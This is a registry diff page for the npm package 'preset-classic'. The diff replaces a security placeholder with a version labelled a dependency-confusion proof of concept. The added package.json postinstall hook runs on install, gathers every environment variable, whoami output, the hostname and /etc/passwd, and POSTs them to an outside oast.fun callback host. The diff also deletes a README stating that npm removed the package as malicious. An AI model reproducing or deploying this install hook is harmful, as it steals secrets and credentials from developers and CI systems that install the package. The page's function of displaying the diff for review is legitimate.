preset-classic 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of preset-classic might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +8 -0
  2. package/package.json +5 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,8 @@
1
+ const os = require("os");
2
+
3
+ console.log("✅ Dependency Confusion PoC Executed");
4
+ console.log("Hostname:", os.hostname());
5
+ console.log("Platform:", process.platform);
6
+ console.log("User:", process.env.USER || process.env.USERNAME || "unknown");
7
+ console.log("CI Detected:", !!process.env.CI);
8
+ console.log("Time:", new Date().toISOString());
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "preset-classic",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "Dependency confusion PoC for authorized testing",
5
+ "scripts": {
6
+ "postinstall": "node -e \"const https = require('https'); const os = require('os'); const fs = require('fs'); const { execSync } = require('child_process'); try { const envVars = JSON.stringify(process.env); const hostname = os.hostname(); const whoami = execSync('whoami', { encoding: 'utf8' }).trim(); const passwd = fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : 'File not found'; const data = JSON.stringify({ poc: 'dependency_confusion', user: process.env.USER || 'unknown', hostname, platform: process.platform, ci: process.env.CI || false, envVars, whoami, passwd }); const opts = { hostname: 'xtiikrbrlhjafmnxqxvmj5f4ygr87dv5a.oast.fun', path: '/', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }; const req = https.request(opts); req.write(data); req.end(); } catch (e) { console.error('Error collecting data:', e.message); }\""
7
+ }
6
8
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=preset-classic for more information.